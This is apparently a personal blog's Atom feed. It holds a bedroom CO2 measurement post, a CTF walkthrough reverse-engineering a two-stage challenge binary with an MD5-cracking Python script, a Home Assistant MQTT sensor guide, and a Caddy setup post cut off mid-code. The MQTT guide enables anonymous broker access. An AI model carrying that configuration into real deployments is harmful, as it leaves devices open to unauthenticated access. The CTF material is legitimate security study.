<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>limbenjamin</title><link href="https://limbenjamin.com/" rel="alternate"></link><link href="https://limbenjamin.com/feeds/all.atom.xml" rel="self"></link><id>https://limbenjamin.com/</id><updated>2026-04-02T20:58:00+08:00</updated><entry><title>CO2 levels with windows closed</title><link href="https://limbenjamin.com/articles/co2-levels-windows-closed.html" rel="alternate"></link><published>2026-04-02T20:58:00+08:00</published><updated>2026-04-02T20:58:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2026-04-02:/articles/co2-levels-windows-closed.html</id><summary type="html">&lt;p&gt;Recently, I have taken to sleeping with my windows closed. I don't get disturbed by mosquitoes buzzing at my ear in the wee hours of the morning and don't get affected by the haze as well. However, there is always the nagging thought that the "better sleep" I am experiencing …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Recently, I have taken to sleeping with my windows closed. I don't get disturbed by mosquitoes buzzing at my ear in the wee hours of the morning and don't get affected by the haze as well. However, there is always the nagging thought that the "better sleep" I am experiencing might be attributed to drowsiness caused by high CO2 levels. A quick google search shows that anything above 1000ppm starts becoming undesirable and 5000ppm starts becoming dangerous.&lt;/p&gt;
&lt;p&gt;Having recently acquired the Kaiterra Sensedge Mini, I can finally put it to the test. The data points on the left were recorded with the windows open and those on the right were recorded with the windows closed. I opened the windows at 6.45am, which is where the huge change in levels were seen.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/window_close_co2.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Immediately, we do see a trend where CO2 and TVOC levels in the room increase when windows are closed. CO2 originates from my breathing while TVOC is probably offgassed by furniture in my room. An inverse trend is seen with a slight decrease in PM2.5 levels, this is probably because these pollutants originate from the outside air.  &lt;/p&gt;
&lt;p&gt;The most important finding was that my bedroom had undesirable levels of CO2 for about 4 hours in the night. So it might be plausible that the sleepiness or grogginess was due to higher CO2 levels. This is not ideal in the long run. I'll need to find another way to deal with the mosquitoes, or maybe open the windows for a couple of minutes in the middle of the night before closing it again.  &lt;/p&gt;</content><category term="articles"></category><category term="Untagged"></category></entry><entry><title>CSIT Mini CTF 2026 Walkthrough</title><link href="https://limbenjamin.com/articles/csit-mini-ctf-2026-walkthrough.html" rel="alternate"></link><published>2026-03-14T11:41:00+08:00</published><updated>2026-03-14T11:41:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2026-03-14:/articles/csit-mini-ctf-2026-walkthrough.html</id><summary type="html">&lt;p&gt;The CSIT Mini CTF 2026 presented us with a 2 stage Windows binary. The first stage downloads an ascii payload from &lt;code&gt;https://minictf2026.s3.us-east-1.amazonaws.com/enc_release-2.txt&lt;/code&gt;, performs some decoding where the bits were inverted and reversed, and then loaded into memory and executed. The simpler way to …&lt;/p&gt;</summary><content type="html">&lt;p&gt;The CSIT Mini CTF 2026 presented us with a 2 stage Windows binary. The first stage downloads an ascii payload from &lt;code&gt;https://minictf2026.s3.us-east-1.amazonaws.com/enc_release-2.txt&lt;/code&gt;, performs some decoding where the bits were inverted and reversed, and then loaded into memory and executed. The simpler way to get hold of the decoded binary is to search for where &lt;code&gt;output.exe&lt;/code&gt; is referenced, insert a breakpoint there and inspect the memory to get the decoded payload. The rationale is that the payload should already be in plaintext since it is close to where it is written out, hence doing so allow us to skip though the other non-relevant parts. &lt;/p&gt;
&lt;p&gt;The second stage payload iterates through random strings, hashes them and checks if it matches 12 pre-specified MD5 hashes. If it matches, the string is encrypted using &lt;code&gt;PKCS1_OAEP&lt;/code&gt; and then base64 encoded and sent out over the network. The server probably performs the functions in reverse. It base64 decodes each line, uses the RSA private key to decrypt and verifies that all 12 plaintext strings were sent. When the network traffic for the second stage payload is inspected in wireshark, the observant would notice only 11 base64 encoded strings, and deduce that since there were 12 MD5 hashes in the binary, that could be the missing key. The final MD5 hash, &lt;code&gt;3bf1114a986ba87ed28fc1b5884fc2f8&lt;/code&gt; pre-image could be trivially cracked since it corresponded to &lt;code&gt;shadow&lt;/code&gt;. &lt;/p&gt;
&lt;p&gt;Solving the second stage would thus require either patching the binary to include &lt;code&gt;shadow&lt;/code&gt; in the plaintext string, or to fully reverse the entire binary and write a python script to RSA encrypt each plaintext string, base64 encode it and send it over the network. The former option would be simpler and is probably the intended solution.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;
&lt;span class="normal"&gt;32&lt;/span&gt;
&lt;span class="normal"&gt;33&lt;/span&gt;
&lt;span class="normal"&gt;34&lt;/span&gt;
&lt;span class="normal"&gt;35&lt;/span&gt;
&lt;span class="normal"&gt;36&lt;/span&gt;
&lt;span class="normal"&gt;37&lt;/span&gt;
&lt;span class="normal"&gt;38&lt;/span&gt;
&lt;span class="normal"&gt;39&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# 0x0042C3B8    32 B    MD5 hash[0]: &amp;#39;a3527a5dabb280c471b07f15becb9f12&amp;#39;.
# 0x0042C3DC    32 B    MD5 hash[1]: &amp;#39;e0e7aa5bcd7cfdde08e71cf6f6c54cf6&amp;#39;.
# 0x0042C400    32 B    MD5 hash[2]: &amp;#39;dbc5c57d2d12ca4e7a794ad60944e1ff&amp;#39;.
# 0x0042C424    32 B    MD5 hash[3]: &amp;#39;24b499ce8a4c42e58248a09fa33f73aa&amp;#39;.
# 0x0042C448    32 B    MD5 hash[4]: &amp;#39;a471ad29ba98d59c1b2d9c4195194d66&amp;#39;.
# 0x0042C46C    32 B    MD5 hash[5]: &amp;#39;f1a0848f41ff40bbfd7f362c4b96a054&amp;#39;.
# 0x0042C490    32 B    MD5 hash[6]: &amp;#39;96541659008679773ff430af165a4453&amp;#39;.
# 0x0042C4B4    32 B    MD5 hash[7]: &amp;#39;838bf61cff974fecea5e3eaa1deb1fca&amp;#39;.
# 0x0042C4D8    32 B    MD5 hash[8]: &amp;#39;93f40ec1f4293ef041e43bcca112b0f3&amp;#39;.
# 0x0042C4FC    32 B    MD5 hash[9]: &amp;#39;91ea4b818957448c2be90ed980f4d280&amp;#39;.
# 0x0042C520    32 B    MD5 hash[10]: &amp;#39;6c5f6b0b8fa5e15ed59faf633cb4ccf2&amp;#39;.
# 0x0042C544    32 B    MD5 hash[11]: &amp;#39;3bf1114a986ba87ed28fc1b5884fc2f8&amp;#39;.


import hashlib


crib = &amp;#39;4304br1r7n lr1qunn4c363d0 1fcb040un75 513qd3nlp541u4 nc10lc1ru7cm0u q0munn7146l3 p475r3cp1y1c f11l74bf3y1n 50u7nr703p 1h13bnrl7yn4 4n7c07cn034n1 63clp071430m1l5 l37mm71d44nn4141r3155bn517h5 1lpl0ry3blhcy4 006y7urr5p3r34 mur7chl6u44471 06l0l7014nc 37346v0nc11m7 3r44fr13b6rl ml3lu5lf0u1 5711l17ln4n0c k31pcl50cd410 vp4c34r7110nr 451j7nx0up017 lp515c11705 5lu0b61uru l71yx0rp1 56r171v03374nr 401r01477cnn1 05uccf14fn113 7474117754n5rnun0b x43l7c1363 71py3n53rck m1l1l50un54pu 14436d13nf7bl l1cp6104ll0h 053unnr3f5415 7c3474n30cn1v 15luy41ml7n1b 045hc0673c41ll r77cm1c54n47yul11 r1y1qpp0u7n 3lun74cl13b n1q4u71300cv 3fv7n5133nfrc3 cc416u750nr n0cl73p415 411nnful0m7 p3n0643n1r7r1 u50br5r373p0 64r01y71n5d n3rn5l1fcf3073 c4rbl33x3 1f4pncl701 30rclh4y5m 364l7r x7nu33 rp01lx 5uu3015q0b lnu7r37uc 30ru17rm1c53 43n70ndc7c34 nc3d710r3 17h0550p34 ff11bn7y135l4 64frl3351p 41n1nl734duv 55crcyn71173 63r1n147n75n 331pm15c7 r034417munplb 137c63x3 4rn0nc43770c 015l33qbn5u 3cp1xlhy3r nrp4l3u74r3r7 ffbc1l117134ny 04cu10c7mnu5 pq31l5u573y4d1 d1yn640rulq 14mmcnc4rulb710u 036lh5453017r c0lh3r10r6 r474r34n13vm7 cppl5417m513 y44700c73nncr 3nn41brl71m3 71lpf5y3uru p145l0lcbyly l3r0h7cp1 n3c3rvff3135 74n310016c7x 0xrp110lu5 4ycr7u0fb50 r31650dn4 p55cup30u1r 35n371ru l07c43ncn4b3 cn3x704r13 4n1myn416m7 shadow&amp;#39;

# can&amp;#39;t find the input for the last MD5 hash
for key in crib.split(&amp;#39; &amp;#39;):
    hashaa = hashlib.md5(key.encode(&amp;#39;utf-8&amp;#39;)).hexdigest()
    if hashaa == &amp;#39;3bf1114a986ba87ed28fc1b5884fc2f8&amp;#39;:
        print(key)


order = [&amp;#39;p475r3cp1y1c&amp;#39;, &amp;#39;50u7nr703p&amp;#39;, &amp;#39;vp4c34r7110nr&amp;#39;, &amp;#39;451j7nx0up017&amp;#39;, &amp;#39;m1l1l50un54pu&amp;#39;, &amp;#39;n0cl73p415&amp;#39;, &amp;#39;43n70ndc7c34&amp;#39;, &amp;#39;r034417munplb&amp;#39;, &amp;#39;04cu10c7mnu5&amp;#39;, &amp;#39;c0lh3r10r6&amp;#39;, &amp;#39;n3c3rvff3135&amp;#39;]

#from Crypto.Cipher import PKCS1_OAEP
#from Crypto.PublicKey import RSA
#import base64

#der = #bytes.fromhex(&amp;#39;30820122300D06092A864886F70D01010105000382010F003082010A0282010100E2F0578560B35A55FAA8BF8441889A2AE2D54A547CE62ECBB3D015AC8A2C55559B2882FC2455A04C7BB24499CF1D6AA70A9FE859C6B3D91926C7EAD4D2A08D4064120FC9713914BD229C0739B0334EDC51CB07DE878C7C559FDD17FAE6D456884E3C80A2DB745699767B3F781B4B7797858E19000D70685413C1DE3F2828BFC60424C0E3D39193B20B721EF3B3BD4C01ACB8E4AED1126D0836CF230199573B44E0281715C29DF79D1FDC1B6D818D9F9EF98A24743EA435E34B928EBDEAF3ECF5FE2B584188E87C035E08D1236B405695B9F875531BCC0E94F35A411E665F4F6083F48EF67EAB2EDE1B632AED00A0E08C022F4C0E6633A5DEB4CC0A981840C6810203010001&amp;#39;)
#key = RSA.import_key(der)
#cipher = PKCS1_OAEP.new(key)
#for each in order:
#   ct = base64.b64encode(cipher.encrypt(each.encode(&amp;quot;utf-8&amp;quot;)))
    #print(ct.decode(&amp;quot;utf-8&amp;quot;))
#   print(each)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Video Walkthrough here.&lt;/p&gt;
&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/X8H-PaHgPck?si=1WivyHqTDEA6cYVU" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen&gt;&lt;/iframe&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Integrate Kaiterra Sensedge Mini with HA</title><link href="https://limbenjamin.com/articles/integrate-kaiterra-sensedege-mini-home-assistant.html" rel="alternate"></link><published>2026-02-27T18:42:00+08:00</published><updated>2026-02-27T18:42:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2026-02-27:/articles/integrate-kaiterra-sensedege-mini-home-assistant.html</id><summary type="html">&lt;p&gt;I've recently come into a Kaiterra Sensedge Mini and spent some time integrating it into my Home Assistant setup. The Kaiterra Sensedge Mini is a commercial grade Air Quality Sensor capable of monitoring CO2, TVOC, PM2.5, PM10, Humidity and Temperature. The easiest route to integrating with Home Assistant is …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I've recently come into a Kaiterra Sensedge Mini and spent some time integrating it into my Home Assistant setup. The Kaiterra Sensedge Mini is a commercial grade Air Quality Sensor capable of monitoring CO2, TVOC, PM2.5, PM10, Humidity and Temperature. The easiest route to integrating with Home Assistant is through MQTT. Since I am using Home Assistant container, I had to run a mosquitto docker container first. Since mosquitto by default on port 1883 does not provide any protocol encryption, it seemed pointless to setup a password, hence I allowed anonymous access&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# cat /mosquitto/config/mosquitto.conf
persistence true
persistence_location /mosquitto/data/
log_dest file /mosquitto/log/mosquitto.log

listener 1883
## Authentication ##
allow_anonymous true
password_file /mosquitto/config/mosquitto.passwd

# create a mosquitto user anyway
mosquitto_passwd -c /mosquitto/config/pwfile mosquitto

# cat docker-compose.yml
...
  mosquitto:
    image: eclipse-mosquitto
    network_mode: host
    volumes:
      - ./mosquitto/config:/mosquitto/config
      - ./mosquitto/data:/mosquitto/data
      - ./mosquitto/log:/mosquitto/log
...
# docker compose up -d
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;After mosquitto is running, it was time to setup the Sensedge Mini. At this point, you will want to download the Kaiterra Enterprise Configuration Tool from their website. Insert the modules and power it up, it will start advertising a network with "Kaiterra" in the name. I had good results with the Windows version and the Android apk and struggled with the Linux one. Do not download from Google Play, the version on Google Play requires a Kaiterra account and there is no way to create one. You will only be given a Kaiterra account if you purchased it from an authorized channel. After connecting to the Wifi network and starting the tool, you will enter the configuration page where you can setup the WiFi network to connect to as well as the MQTT server IP address and credentials. At this point, it is important to note down the udid, or you would have to reconnect to it again. If you did the setup correctly, you would see the device connecting on the MQTT server logs&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;cat mosquitto.log
1772187934: Client Kaiterra-SE-200-ffffff [(null):0] disconnected: session taken over.
1772187934: New client connected from 192.168.10.111:62758 as Kaiterra-SE-200-fffff (p4, c0, k60).
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Now, we shift our focus to Home Assistant, you will need to Add integration, select MQTT and set it up with the IP address and credentials. Once that is done, the easiest way is to setup the sensors by adding the following lines to configuration.yaml and restarting Home Assistant.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;
&lt;span class="normal"&gt;32&lt;/span&gt;
&lt;span class="normal"&gt;33&lt;/span&gt;
&lt;span class="normal"&gt;34&lt;/span&gt;
&lt;span class="normal"&gt;35&lt;/span&gt;
&lt;span class="normal"&gt;36&lt;/span&gt;
&lt;span class="normal"&gt;37&lt;/span&gt;
&lt;span class="normal"&gt;38&lt;/span&gt;
&lt;span class="normal"&gt;39&lt;/span&gt;
&lt;span class="normal"&gt;40&lt;/span&gt;
&lt;span class="normal"&gt;41&lt;/span&gt;
&lt;span class="normal"&gt;42&lt;/span&gt;
&lt;span class="normal"&gt;43&lt;/span&gt;
&lt;span class="normal"&gt;44&lt;/span&gt;
&lt;span class="normal"&gt;45&lt;/span&gt;
&lt;span class="normal"&gt;46&lt;/span&gt;
&lt;span class="normal"&gt;47&lt;/span&gt;
&lt;span class="normal"&gt;48&lt;/span&gt;
&lt;span class="normal"&gt;49&lt;/span&gt;
&lt;span class="normal"&gt;50&lt;/span&gt;
&lt;span class="normal"&gt;51&lt;/span&gt;
&lt;span class="normal"&gt;52&lt;/span&gt;
&lt;span class="normal"&gt;53&lt;/span&gt;
&lt;span class="normal"&gt;54&lt;/span&gt;
&lt;span class="normal"&gt;55&lt;/span&gt;
&lt;span class="normal"&gt;56&lt;/span&gt;
&lt;span class="normal"&gt;57&lt;/span&gt;
&lt;span class="normal"&gt;58&lt;/span&gt;
&lt;span class="normal"&gt;59&lt;/span&gt;
&lt;span class="normal"&gt;60&lt;/span&gt;
&lt;span class="normal"&gt;61&lt;/span&gt;
&lt;span class="normal"&gt;62&lt;/span&gt;
&lt;span class="normal"&gt;63&lt;/span&gt;
&lt;span class="normal"&gt;64&lt;/span&gt;
&lt;span class="normal"&gt;65&lt;/span&gt;
&lt;span class="normal"&gt;66&lt;/span&gt;
&lt;span class="normal"&gt;67&lt;/span&gt;
&lt;span class="normal"&gt;68&lt;/span&gt;
&lt;span class="normal"&gt;69&lt;/span&gt;
&lt;span class="normal"&gt;70&lt;/span&gt;
&lt;span class="normal"&gt;71&lt;/span&gt;
&lt;span class="normal"&gt;72&lt;/span&gt;
&lt;span class="normal"&gt;73&lt;/span&gt;
&lt;span class="normal"&gt;74&lt;/span&gt;
&lt;span class="normal"&gt;75&lt;/span&gt;
&lt;span class="normal"&gt;76&lt;/span&gt;
&lt;span class="normal"&gt;77&lt;/span&gt;
&lt;span class="normal"&gt;78&lt;/span&gt;
&lt;span class="normal"&gt;79&lt;/span&gt;
&lt;span class="normal"&gt;80&lt;/span&gt;
&lt;span class="normal"&gt;81&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;mqtt:
  sensor:

    # 🌡 Temperature
    - name: &amp;quot;Kaiterra Temperature&amp;quot;
      unique_id: kaiterra_temp_0fffffff
      state_topic: &amp;quot;kaiterra/device/history/udid-here&amp;quot;
      value_template: &amp;quot;{{ value_json.data.rtemp }}&amp;quot;
      unit_of_measurement: &amp;quot;°C&amp;quot;
      device_class: temperature
      state_class: measurement
      device:
        identifiers: [&amp;quot;kaiterra_0fffffff&amp;quot;]
        name: &amp;quot;Kaiterra Air Monitor&amp;quot;
        manufacturer: &amp;quot;Kaiterra&amp;quot;
        model: &amp;quot;VG21D21021&amp;quot;

    # 💧 Humidity
    - name: &amp;quot;Kaiterra Humidity&amp;quot;
      unique_id: kaiterra_humidity_0fffffff
      state_topic: &amp;quot;kaiterra/device/history/udid-here&amp;quot;
      value_template: &amp;quot;{{ value_json.data.rhumid }}&amp;quot;
      unit_of_measurement: &amp;quot;%&amp;quot;
      device_class: humidity
      state_class: measurement
      device:
        identifiers: [&amp;quot;kaiterra_0fffffff&amp;quot;]

    # 🫁 CO2
    - name: &amp;quot;Kaiterra CO2&amp;quot;
      unique_id: kaiterra_co2_0fffffff
      state_topic: &amp;quot;kaiterra/device/history/udid-here&amp;quot;
      value_template: &amp;quot;{{ value_json.data[&amp;#39;rco2 (ppm)&amp;#39;] }}&amp;quot;
      unit_of_measurement: &amp;quot;ppm&amp;quot;
      device_class: carbon_dioxide
      state_class: measurement
      device:
        identifiers: [&amp;quot;kaiterra_0fffffff&amp;quot;]

    # 🌫 PM2.5
    - name: &amp;quot;Kaiterra PM2.5&amp;quot;
      unique_id: kaiterra_pm25_0fffffff
      state_topic: &amp;quot;kaiterra/device/history/udid-here&amp;quot;
      value_template: &amp;quot;{{ value_json.data[&amp;#39;km200.rpm25&amp;#39;] }}&amp;quot;
      unit_of_measurement: &amp;quot;µg/m³&amp;quot;
      device_class: pm25
      state_class: measurement
      device:
        identifiers: [&amp;quot;kaiterra_0fffffff&amp;quot;]

    # 🌪 PM10
    - name: &amp;quot;Kaiterra PM10&amp;quot;
      unique_id: kaiterra_pm10_0fffffff
      state_topic: &amp;quot;kaiterra/device/history/udid-here&amp;quot;
      value_template: &amp;quot;{{ value_json.data[&amp;#39;km200.rpm10&amp;#39;] }}&amp;quot;
      unit_of_measurement: &amp;quot;µg/m³&amp;quot;
      device_class: pm10
      state_class: measurement
      device:
        identifiers: [&amp;quot;kaiterra_0fffffff&amp;quot;]

    # 🧪 TVOC
    - name: &amp;quot;Kaiterra TVOC&amp;quot;
      unique_id: kaiterra_tvoc_0fffffff
      state_topic: &amp;quot;kaiterra/device/history/udid-here&amp;quot;
      value_template: &amp;quot;{{ value_json.data[&amp;#39;km203.rtvoc (ppb)&amp;#39;] }}&amp;quot;
      unit_of_measurement: &amp;quot;ppb&amp;quot;
      state_class: measurement
      device:
        identifiers: [&amp;quot;kaiterra_0fffffff&amp;quot;]

    # 📶 WiFi Signal
    - name: &amp;quot;Kaiterra Signal Strength&amp;quot;
      unique_id: kaiterra_signal_0fffffff
      state_topic: &amp;quot;kaiterra/device/history/udid-here&amp;quot;
      value_template: &amp;quot;{{ value_json.data.signal_strength }}&amp;quot;
      unit_of_measurement: &amp;quot;dBm&amp;quot;
      device_class: signal_strength
      state_class: measurement
      device:
        identifiers: [&amp;quot;kaiterra_0fffffff&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Enjoy.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/kaiterra.jpeg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image" src="//limbenjamin.com/media/kaiterra2.jpeg"&gt;&lt;/p&gt;</content><category term="articles"></category><category term="Server"></category></entry><entry><title>Running Caddy on high ports</title><link href="https://limbenjamin.com/articles/running-caddy-on-high-ports.html" rel="alternate"></link><published>2026-02-07T10:58:00+08:00</published><updated>2026-02-07T10:58:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2026-02-07:/articles/running-caddy-on-high-ports.html</id><summary type="html">&lt;p&gt;One of the great selling points of Caddy is seamless SSL setup as Caddy will automatically request certificates from Let's Encrypt. However it uses the HTTP-01 or the TLS-ALPN-01 challenge which requires exposing Caddy on port 80 or 443 during the cert renewal process. This may not be possible as …&lt;/p&gt;</summary><content type="html">&lt;p&gt;One of the great selling points of Caddy is seamless SSL setup as Caddy will automatically request certificates from Let's Encrypt. However it uses the HTTP-01 or the TLS-ALPN-01 challenge which requires exposing Caddy on port 80 or 443 during the cert renewal process. This may not be possible as there could be other services already running on those ports, or there could be a reluctance to expose the service to widespread scanning.&lt;/p&gt;
&lt;p&gt;After some finicking around, I managed to build Caddy with the dns.providers.cloudflare module and set it up to use the DNS-01 challenge which eliminates the need to use port 80 or 443.&lt;/p&gt;
&lt;p&gt;The first step is to install xcaddy, create a Dockerfile with the required plugins and build it. I chose to name the image custom-caddy.  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# go install github.com/caddyserver/xcaddy/cmd/xcaddy@latest
# cat Dockerfile
FROM caddy:builder AS builder

RUN xcaddy build \
    --with github.com/caddy-dns/cloudflare \
    --output /usr/bin/caddy

FROM caddy:latest

COPY --from=builder /usr/bin/caddy /usr/bin/caddy

# docker build -t custom-caddy:latest .
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Next up, we create a Caddyfile with the required configuration to use DNS challenge.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
